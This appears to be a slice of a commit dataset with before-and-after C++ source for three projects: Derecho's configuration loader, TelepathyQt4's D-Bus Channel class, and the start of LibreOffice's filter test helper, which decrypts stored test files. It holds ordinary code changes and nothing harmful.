MAKE_LONG_OPT_ENTRY(CONF_DERECHO_TIMEOUT_MS),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RDMC_SEND_ALGORITHM),\n        \/\/ [RDMA]\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_PROVIDER),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_DOMAIN),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_TX_DEPTH),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_RX_DEPTH),\n        \/\/ [PERS]\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_FILE_PATH),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_RAMDISK_PATH),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_RESET),\n        {0, 0, 0, 0}};\n\nvoid Conf::initialize(int argc, char* argv[], const char* conf_file) {\n    uint32_t expected = CONF_UNINITIALIZED;\n    \/\/ if not initialized(0), set the flag to under initialization ...\n    if(Conf::singleton_initialized_flag.compare_exchange_strong(\n               expected, CONF_INITIALIZING, std::memory_order_acq_rel)) {\n        \/\/ 1 - get configuration file path\n        std::string real_conf_file;\n        struct stat buffer;\n        if(conf_file)\n            real_conf_file = conf_file;\n        else if(std::getenv(\"DERECHO_CONF_FILE\"))\n            \/\/ try environment variable: DERECHO_CONF_FILE\n            real_conf_file = std::getenv(\"DERECHO_CONF_FILE\");\n        else if(stat(default_conf_file, &buffer) == 0) {\n            if(S_ISREG(buffer.st_mode) && (S_IRUSR | buffer.st_mode)) {\n                real_conf_file = default_conf_file;\n            }\n        } else\n            real_conf_file.clear();\n\n        \/\/ 2 - load configuration\n        GetPot* cfg = nullptr;\n        if(!real_conf_file.empty()) {\n            cfg = new GetPot(real_conf_file);\n        }\n        Conf::singleton = std::make_unique<Conf>(argc, argv, cfg);\n        delete cfg;\n\n        \/\/ 3 - set the flag to initialized\n        Conf::singleton_initialized_flag.store(CONF_INITIALIZED, std::memory_order_acq_rel);\n    }\n}\n\n\/\/ should we force the user to call Conf::initialize() by throw an expcetion\n\/\/ for uninitialized configuration?\nconst Conf* Conf::get() noexcept {\n    while(Conf::singleton_initialized_flag.load(std::memory_order_acquire) != CONF_INITIALIZED)\n        Conf::initialize(1, nullptr, nullptr);\n    return Conf::singleton.get();\n}\n\nconst std::string& getConfString(const std::string& key) {\n    return Conf::get()->getString(key);\n}\n\nconst int32_t getConfInt32(const std::string& key) {\n    return Conf::get()->getInt32(key);\n}\n\nconst uint32_t getConfUInt32(const std::string& key) {\n    return Conf::get()->getUInt32(key);\n}\n\nconst int16_t getConfInt16(const std::string& key) {\n    return Conf::get()->getInt16(key);\n}\n\nconst uint16_t getConfUInt16(const std::string& key) {\n    return Conf::get()->getUInt16(key);\n}\n\nconst int64_t getConfInt64(const std::string& key) {\n    return Conf::get()->getInt64(key);\n}\n\nconst uint64_t getConfUInt64(const std::string& key) {\n    return Conf::get()->getUInt64(key);\n}\n\nconst float getConfFloat(const std::string& key) {\n    return Conf::get()->getFloat(key);\n}\n\nconst double getConfDouble(const std::string& key) {\n    return Conf::get()->getDouble(key);\n}\n\nconst bool getConfBoolean(const std::string& key) {\n    return Conf::get()->getBoolean(key);\n}\n\nconst bool hasCustomizedConfKey(const std::string& key) {\n    return Conf::get()->hasCustomizedKey(key);\n}\n}\n<commit_msg>minor fix: allowing PERS\/max_log_entry and PERS\/max_data_size as command line argument.<commit_after>#include \"conf.hpp\"\n#include <cstdlib>\n#include <sys\/stat.h>\n#include <unistd.h>\n#ifndef NDEBUG\n#include <spdlog\/sinks\/stdout_color_sinks.h>\n#endif  \/\/NDEBUG\n\nnamespace derecho {\n\nstatic const char* default_conf_file = \"derecho.cfg\";\n\nstd::unique_ptr<Conf> Conf::singleton = nullptr;\n\nstd::atomic<uint32_t> Conf::singleton_initialized_flag = 0;\n#define CONF_UNINITIALIZED (0)\n#define CONF_INITIALIZING (1)\n#define CONF_INITIALIZED (2)\n\n#define MAKE_LONG_OPT_ENTRY(x) \\\n    { x, required_argument, 0, 0 }\nstruct option Conf::long_options[] = {\n        \/\/ [DERECHO]\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LEADER_IP),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LEADER_GMS_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LOCAL_ID),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LOCAL_IP),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_GMS_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RPC_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_SST_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RDMC_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_MAX_PAYLOAD_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_MAX_SMC_PAYLOAD_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_BLOCK_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_WINDOW_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_TIMEOUT_MS),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RDMC_SEND_ALGORITHM),\n        \/\/ [RDMA]\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_PROVIDER),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_DOMAIN),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_TX_DEPTH),\n        MAKE_LONG_OPT_ENTRY(CONF_RDMA_RX_DEPTH),\n        \/\/ [PERS]\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_FILE_PATH),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_RAMDISK_PATH),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_RESET),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_MAX_LOG_ENTRY),\n        MAKE_LONG_OPT_ENTRY(CONF_PERS_MAX_DATA_SIZE),\n        {0, 0, 0, 0}};\n\nvoid Conf::initialize(int argc, char* argv[], const char* conf_file) {\n    uint32_t expected = CONF_UNINITIALIZED;\n    \/\/ if not initialized(0), set the flag to under initialization ...\n    if(Conf::singleton_initialized_flag.compare_exchange_strong(\n               expected, CONF_INITIALIZING, std::memory_order_acq_rel)) {\n        \/\/ 1 - get configuration file path\n        std::string real_conf_file;\n        struct stat buffer;\n        if(conf_file)\n            real_conf_file = conf_file;\n        else if(std::getenv(\"DERECHO_CONF_FILE\"))\n            \/\/ try environment variable: DERECHO_CONF_FILE\n            real_conf_file = std::getenv(\"DERECHO_CONF_FILE\");\n        else if(stat(default_conf_file, &buffer) == 0) {\n            if(S_ISREG(buffer.st_mode) && (S_IRUSR | buffer.st_mode)) {\n                real_conf_file = default_conf_file;\n            }\n        } else\n            real_conf_file.clear();\n\n        \/\/ 2 - load configuration\n        GetPot* cfg = nullptr;\n        if(!real_conf_file.empty()) {\n            cfg = new GetPot(real_conf_file);\n        }\n        Conf::singleton = std::make_unique<Conf>(argc, argv, cfg);\n        delete cfg;\n\n        \/\/ 3 - set the flag to initialized\n        Conf::singleton_initialized_flag.store(CONF_INITIALIZED, std::memory_order_acq_rel);\n    }\n}\n\n\/\/ should we force the user to call Conf::initialize() by throw an expcetion\n\/\/ for uninitialized configuration?\nconst Conf* Conf::get() noexcept {\n    while(Conf::singleton_initialized_flag.load(std::memory_order_acquire) != CONF_INITIALIZED)\n        Conf::initialize(1, nullptr, nullptr);\n    return Conf::singleton.get();\n}\n\nconst std::string& getConfString(const std::string& key) {\n    return Conf::get()->getString(key);\n}\n\nconst int32_t getConfInt32(const std::string& key) {\n    return Conf::get()->getInt32(key);\n}\n\nconst uint32_t getConfUInt32(const std::string& key) {\n    return Conf::get()->getUInt32(key);\n}\n\nconst int16_t getConfInt16(const std::string& key) {\n    return Conf::get()->getInt16(key);\n}\n\nconst uint16_t getConfUInt16(const std::string& key) {\n    return Conf::get()->getUInt16(key);\n}\n\nconst int64_t getConfInt64(const std::string& key) {\n    return Conf::get()->getInt64(key);\n}\n\nconst uint64_t getConfUInt64(const std::string& key) {\n    return Conf::get()->getUInt64(key);\n}\n\nconst float getConfFloat(const std::string& key) {\n    return Conf::get()->getFloat(key);\n}\n\nconst double getConfDouble(const std::string& key) {\n    return Conf::get()->getDouble(key);\n}\n\nconst bool getConfBoolean(const std::string& key) {\n    return Conf::get()->getBoolean(key);\n}\n\nconst bool hasCustomizedConfKey(const std::string& key) {\n    return Conf::get()->hasCustomizedKey(key);\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2008 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2008 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"cli-channel.h\"\n\n#include \"_gen\/cli-channel-body.hpp\"\n#include \"_gen\/cli-channel.moc.hpp\"\n#include \"cli-channel.moc.hpp\"\n\n#include <QQueue>\n\n#include \"cli-dbus.h\"\n#include \"constants.h\"\n#include \"debug-internal.hpp\"\n\nnamespace Telepathy\n{\nnamespace Client\n{\n\nstruct Channel::Private\n{\n    \/\/ Public object\n    Channel& parent;\n\n    \/\/ Optional interface proxies\n    DBus::PropertiesInterface* properties;\n\n    \/\/ Introspection\n    Readiness readiness;\n    QStringList interfaces;\n    QQueue<void (Private::*)()> introspectQueue;\n\n    \/\/ Introspected properties\n    QString channelType;\n    uint targetHandleType;\n    uint targetHandle;\n\n    Private(Channel& parent)\n        : parent(parent)\n    {\n        debug() << \"Creating new Channel\";\n\n        properties = 0;\n        readiness = ReadinessJustCreated;\n\n        debug() << \"Connecting to Channel::Closed()\";\n        parent.connect(&parent,\n                       SIGNAL(Closed()),\n                       SLOT(onClosed()));\n\n        introspectQueue.enqueue(&Private::introspectMain);\n        continueIntrospection();\n    }\n\n    void introspectMain()\n    {\n        if (!properties) {\n            properties = parent.propertiesInterface();\n            Q_ASSERT(properties != 0);\n        }\n\n        debug() << \"Calling Properties::GetAll(Channel)\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(\n                    properties->GetAll(TELEPATHY_INTERFACE_CHANNEL), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotMainProperties(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackChannelType()\n    {\n        debug() << \"Calling Channel::GetChannelType()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetChannelType(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotChannelType(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackHandle()\n    {\n        debug() << \"Calling Channel::GetHandle()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetHandle(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotHandle(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackInterfaces()\n    {\n        debug() << \"Calling Channel::GetInterfaces()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetInterfaces(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotInterfaces(QDBusPendingCallWatcher*)));\n    }\n\n    void continueIntrospection()\n    {\n        if (introspectQueue.isEmpty()) {\n            if (readiness < ReadinessFull)\n                changeReadiness(ReadinessFull);\n        } else {\n            (this->*introspectQueue.dequeue())();\n        }\n    }\n\n    void extract01777MainProps(const QVariantMap& props)\n    {\n        bool haveProps = props.size() >= 4\n                      && props.contains(\"ChannelType\") && !qdbus_cast<QString>(props[\"ChannelType\"]).isEmpty()\n                      && props.contains(\"Interfaces\")\n                      && props.contains(\"TargetHandle\")\n                      && props.contains(\"TargetHandleType\");\n\n        if (!haveProps) {\n            warning() << \"No properties expected from a post-0.17.7 spec service in reply to Properties::GetAll(Channel), falling back to serial inspection\";\n\n            introspectQueue.enqueue(&Private::introspectMainFallbackChannelType);\n            introspectQueue.enqueue(&Private::introspectMainFallbackHandle);\n            introspectQueue.enqueue(&Private::introspectMainFallbackInterfaces);\n        } else {\n            debug() << \" Found properties specified in 0.17.7\";\n\n            channelType = qdbus_cast<QString>(props[\"ChannelType\"]);\n            interfaces = qdbus_cast<QStringList>(props[\"Interfaces\"]);\n            targetHandle = qdbus_cast<uint>(props[\"TargetHandle\"]);\n            targetHandleType = qdbus_cast<uint>(props[\"TargetHandleType\"]);\n\n            nowHaveInterfaces();\n        }\n    }\n\n    void nowHaveInterfaces()\n    {\n        debug() << \"Channel has\" << interfaces.size() << \"optional interfaces:\" << interfaces;\n\n        for (QStringList::const_iterator i = interfaces.begin();\n                                         i != interfaces.end();\n                                         ++i) {\n            \/\/ Enqueue introspection of any optional interfaces here\n        }\n    }\n\n    void changeReadiness(Readiness newReadiness)\n    {\n        Q_ASSERT(newReadiness != readiness);\n\n        switch (readiness) {\n            case ReadinessJustCreated:\n                break;\n            case ReadinessFull:\n                Q_ASSERT(newReadiness == ReadinessDead);\n                break;\n            case ReadinessDead:\n            default:\n                Q_ASSERT(false);\n                break;\n        }\n\n        debug() << \"Channel readiness changed from\" << readiness << \"to\" << newReadiness;\n\n        if (newReadiness == ReadinessFull) {\n            debug() << \"Channel fully ready\";\n            debug() << \" Channel type\" << channelType;\n            debug() << \" Target handle\" << targetHandle;\n            debug() << \" Target handle type\" << targetHandleType;\n        } else {\n            debug() << \"R.I.P. Channel.\";\n        }\n\n        readiness = newReadiness;\n        emit parent.readinessChanged(newReadiness);\n    }\n};\n\nChannel::Channel(const QString& serviceName,\n                 const QString& objectPath,\n                 QObject* parent)\n    : ChannelInterface(serviceName, objectPath, parent),\n      mPriv(new Private(*this))\n{\n}\n\nChannel::Channel(const QDBusConnection& connection,\n                 const QString& serviceName,\n                 const QString& objectPath,\n                 QObject* parent)\n    : ChannelInterface(connection, serviceName, objectPath, parent),\n      mPriv(new Private(*this))\n{\n}\n\nChannel::~Channel()\n{\n    delete mPriv;\n}\n\nChannel::Readiness Channel::readiness() const\n{\n    return mPriv->readiness;\n}\n\nQStringList Channel::interfaces() const\n{\n    return mPriv->interfaces;\n}\n\nQString Channel::channelType() const\n{\n    return mPriv->channelType;\n}\n\nuint Channel::targetHandleType() const\n{\n    return mPriv->targetHandleType;\n}\n\nuint Channel::targetHandle() const\n{\n    return mPriv->targetHandle;\n}\n\nvoid Channel::gotMainProperties(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QVariantMap> reply = *watcher;\n    QVariantMap props;\n\n    if (!reply.isError()) {\n        debug() << \"Got reply to Properties::GetAll(Channel)\";\n        props = reply.value();\n    } else {\n        warning().nospace() << \"Properties::GetAll(Channel) failed with \" << reply.error().name() << \": \" << reply.error().message();\n    }\n\n    mPriv->extract01777MainProps(props);\n    \/\/ Add extraction (and possible fallbacks) in similar functions, called from here\n\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotChannelType(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QString> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetChannelType() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetChannelType()\";\n    mPriv->channelType = reply.value();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotHandle(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<uint, uint> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetHandle() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetHandle()\";\n    mPriv->targetHandleType = reply.argumentAt<0>();\n    mPriv->targetHandle = reply.argumentAt<1>();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotInterfaces(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QStringList> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetInterfaces() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetInterfaces()\";\n    mPriv->interfaces = reply.value();\n    mPriv->nowHaveInterfaces();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::onClosed()\n{\n    debug() << \"Got Channel::Closed\";\n\n    if (mPriv->readiness != ReadinessDead)\n        mPriv->changeReadiness(ReadinessDead);\n}\n\n}\n}\n<commit_msg>Move initial continueIntrospection to Channel constructor, otherwise the priv pointer won't have been initialized<commit_after>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2008 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2008 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"cli-channel.h\"\n\n#include \"_gen\/cli-channel-body.hpp\"\n#include \"_gen\/cli-channel.moc.hpp\"\n#include \"cli-channel.moc.hpp\"\n\n#include <QQueue>\n\n#include \"cli-dbus.h\"\n#include \"constants.h\"\n#include \"debug-internal.hpp\"\n\nnamespace Telepathy\n{\nnamespace Client\n{\n\nstruct Channel::Private\n{\n    \/\/ Public object\n    Channel& parent;\n\n    \/\/ Optional interface proxies\n    DBus::PropertiesInterface* properties;\n\n    \/\/ Introspection\n    Readiness readiness;\n    QStringList interfaces;\n    QQueue<void (Private::*)()> introspectQueue;\n\n    \/\/ Introspected properties\n    QString channelType;\n    uint targetHandleType;\n    uint targetHandle;\n\n    Private(Channel& parent)\n        : parent(parent)\n    {\n        debug() << \"Creating new Channel\";\n\n        properties = 0;\n        readiness = ReadinessJustCreated;\n\n        debug() << \"Connecting to Channel::Closed()\";\n        parent.connect(&parent,\n                       SIGNAL(Closed()),\n                       SLOT(onClosed()));\n\n        introspectQueue.enqueue(&Private::introspectMain);\n    }\n\n    void introspectMain()\n    {\n        if (!properties) {\n            properties = parent.propertiesInterface();\n            Q_ASSERT(properties != 0);\n        }\n\n        debug() << \"Calling Properties::GetAll(Channel)\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(\n                    properties->GetAll(TELEPATHY_INTERFACE_CHANNEL), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotMainProperties(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackChannelType()\n    {\n        debug() << \"Calling Channel::GetChannelType()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetChannelType(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotChannelType(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackHandle()\n    {\n        debug() << \"Calling Channel::GetHandle()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetHandle(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotHandle(QDBusPendingCallWatcher*)));\n    }\n\n    void introspectMainFallbackInterfaces()\n    {\n        debug() << \"Calling Channel::GetInterfaces()\";\n        QDBusPendingCallWatcher* watcher =\n            new QDBusPendingCallWatcher(parent.GetInterfaces(), &parent);\n        parent.connect(watcher,\n                       SIGNAL(finished(QDBusPendingCallWatcher*)),\n                       SLOT(gotInterfaces(QDBusPendingCallWatcher*)));\n    }\n\n    void continueIntrospection()\n    {\n        if (introspectQueue.isEmpty()) {\n            if (readiness < ReadinessFull)\n                changeReadiness(ReadinessFull);\n        } else {\n            (this->*introspectQueue.dequeue())();\n        }\n    }\n\n    void extract01777MainProps(const QVariantMap& props)\n    {\n        bool haveProps = props.size() >= 4\n                      && props.contains(\"ChannelType\") && !qdbus_cast<QString>(props[\"ChannelType\"]).isEmpty()\n                      && props.contains(\"Interfaces\")\n                      && props.contains(\"TargetHandle\")\n                      && props.contains(\"TargetHandleType\");\n\n        if (!haveProps) {\n            warning() << \"No properties expected from a post-0.17.7 spec service in reply to Properties::GetAll(Channel), falling back to serial inspection\";\n\n            introspectQueue.enqueue(&Private::introspectMainFallbackChannelType);\n            introspectQueue.enqueue(&Private::introspectMainFallbackHandle);\n            introspectQueue.enqueue(&Private::introspectMainFallbackInterfaces);\n        } else {\n            debug() << \" Found properties specified in 0.17.7\";\n\n            channelType = qdbus_cast<QString>(props[\"ChannelType\"]);\n            interfaces = qdbus_cast<QStringList>(props[\"Interfaces\"]);\n            targetHandle = qdbus_cast<uint>(props[\"TargetHandle\"]);\n            targetHandleType = qdbus_cast<uint>(props[\"TargetHandleType\"]);\n\n            nowHaveInterfaces();\n        }\n    }\n\n    void nowHaveInterfaces()\n    {\n        debug() << \"Channel has\" << interfaces.size() << \"optional interfaces:\" << interfaces;\n\n        for (QStringList::const_iterator i = interfaces.begin();\n                                         i != interfaces.end();\n                                         ++i) {\n            \/\/ Enqueue introspection of any optional interfaces here\n        }\n    }\n\n    void changeReadiness(Readiness newReadiness)\n    {\n        Q_ASSERT(newReadiness != readiness);\n\n        switch (readiness) {\n            case ReadinessJustCreated:\n                break;\n            case ReadinessFull:\n                Q_ASSERT(newReadiness == ReadinessDead);\n                break;\n            case ReadinessDead:\n            default:\n                Q_ASSERT(false);\n                break;\n        }\n\n        debug() << \"Channel readiness changed from\" << readiness << \"to\" << newReadiness;\n\n        if (newReadiness == ReadinessFull) {\n            debug() << \"Channel fully ready\";\n            debug() << \" Channel type\" << channelType;\n            debug() << \" Target handle\" << targetHandle;\n            debug() << \" Target handle type\" << targetHandleType;\n        } else {\n            debug() << \"R.I.P. Channel.\";\n        }\n\n        readiness = newReadiness;\n        emit parent.readinessChanged(newReadiness);\n    }\n};\n\nChannel::Channel(const QString& serviceName,\n                 const QString& objectPath,\n                 QObject* parent)\n    : ChannelInterface(serviceName, objectPath, parent),\n      mPriv(new Private(*this))\n{\n    mPriv->continueIntrospection();\n}\n\nChannel::Channel(const QDBusConnection& connection,\n                 const QString& serviceName,\n                 const QString& objectPath,\n                 QObject* parent)\n    : ChannelInterface(connection, serviceName, objectPath, parent),\n      mPriv(new Private(*this))\n{\n    mPriv->continueIntrospection();\n}\n\nChannel::~Channel()\n{\n    delete mPriv;\n}\n\nChannel::Readiness Channel::readiness() const\n{\n    return mPriv->readiness;\n}\n\nQStringList Channel::interfaces() const\n{\n    return mPriv->interfaces;\n}\n\nQString Channel::channelType() const\n{\n    return mPriv->channelType;\n}\n\nuint Channel::targetHandleType() const\n{\n    return mPriv->targetHandleType;\n}\n\nuint Channel::targetHandle() const\n{\n    return mPriv->targetHandle;\n}\n\nvoid Channel::gotMainProperties(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QVariantMap> reply = *watcher;\n    QVariantMap props;\n\n    if (!reply.isError()) {\n        debug() << \"Got reply to Properties::GetAll(Channel)\";\n        props = reply.value();\n    } else {\n        warning().nospace() << \"Properties::GetAll(Channel) failed with \" << reply.error().name() << \": \" << reply.error().message();\n    }\n\n    mPriv->extract01777MainProps(props);\n    \/\/ Add extraction (and possible fallbacks) in similar functions, called from here\n\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotChannelType(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QString> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetChannelType() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetChannelType()\";\n    mPriv->channelType = reply.value();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotHandle(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<uint, uint> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetHandle() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetHandle()\";\n    mPriv->targetHandleType = reply.argumentAt<0>();\n    mPriv->targetHandle = reply.argumentAt<1>();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::gotInterfaces(QDBusPendingCallWatcher* watcher)\n{\n    QDBusPendingReply<QStringList> reply = *watcher;\n\n    if (reply.isError()) {\n        warning().nospace() << \"Channel::GetInterfaces() failed with \" << reply.error().name() << \": \" << reply.error().message() << \", Channel officially dead\";\n        if (mPriv->readiness != ReadinessDead)\n            mPriv->changeReadiness(ReadinessDead);\n        return;\n    }\n\n    debug() << \"Got reply to fallback Channel::GetInterfaces()\";\n    mPriv->interfaces = reply.value();\n    mPriv->nowHaveInterfaces();\n    mPriv->continueIntrospection();\n}\n\nvoid Channel::onClosed()\n{\n    debug() << \"Got Channel::Closed\";\n\n    if (mPriv->readiness != ReadinessDead)\n        mPriv->changeReadiness(ReadinessDead);\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <unotest\/filters-test.hxx>\n#include <osl\/file.hxx>\n#include <osl\/thread.h>\n#include <rtl\/cipher.h>\n\n#include \"cppunit\/TestAssert.h\"\n\nnamespace test {\n\nvoid decode(const OUString& rIn, const OUString &rOut)\n{\n    rtlCipher cipher = rtl_cipher_create(rtl_Cipher_AlgorithmARCFOUR, rtl_Cipher_ModeStream);\n    CPPUNIT_ASSERT_MESSAGE(\"cipher creation failed\", cipher != 0);\n\n    \/\/mcrypt --bare -a arcfour -o hex -k 435645 -s 3\n    const sal_uInt8 aKey[3] = {'C', 'V', 'E'};\n\n    rtlCipherError result = rtl_cipher_init(cipher, rtl_Cipher_DirectionDecode, aKey, SAL_N_ELEMENTS(aKey), 0, 0);\n\n    CPPUNIT_ASSERT_MESSAGE(\"cipher init failed\", result == rtl_Cipher_E_None);\n\n    osl::File aIn(rIn);\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aIn.open(osl_File_OpenFlag_Read));\n\n    osl::File aOut(rOut);\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aOut.open(osl_File_OpenFlag_Write));\n\n    sal_uInt8 in[8192];\n    sal_uInt8 out[8192];\n    sal_uInt64 nBytesRead, nBytesWritten;\n    while(true)\n    {\n        CPPUNIT_ASSERT(osl::FileBase::E_None == aIn.read(in, sizeof(in), nBytesRead));\n        if (!nBytesRead)\n            break;\n        CPPUNIT_ASSERT(rtl_Cipher_E_None == rtl_cipher_decode(cipher, in, nBytesRead, out, sizeof(out)));\n        CPPUNIT_ASSERT(osl::FileBase::E_None == aOut.write(out, nBytesRead, nBytesWritten));\n        CPPUNIT_ASSERT(nBytesRead == nBytesWritten);\n    }\n\n    rtl_cipher_destroy(cipher);\n}\n\nvoid FiltersTest::recursiveScan(filterStatus nExpected,\n    const OUString &rFilter, const OUString &rURL,\n    const OUString &rUserData, unsigned int nFilterFlags,\n    unsigned int nClipboardID, unsigned int nFilterVersion, bool bExport)\n{\n    osl::Directory aDir(rURL);\n\n    CPPUNIT_ASSERT(osl::FileBase::E_None == aDir.open());\n    osl::DirectoryItem aItem;\n    osl::FileStatus aFileStatus(osl_FileStatus_Mask_FileURL|osl_FileStatus_Mask_Type);\n    while (aDir.getNextItem(aItem) == osl::FileBase::E_None)\n    {\n        aItem.getFileStatus(aFileStatus);\n        OUString sURL = aFileStatus.getFileURL();\n        if (aFileStatus.getFileType() == osl::FileStatus::Directory)\n        {\n            recursiveScan(nExpected, rFilter, sURL, rUserData,\n                nFilterFlags, nClipboardID, nFilterVersion, bExport);\n        }\n        else\n        {\n            OUString sTmpFile;\n            bool bEncrypted = 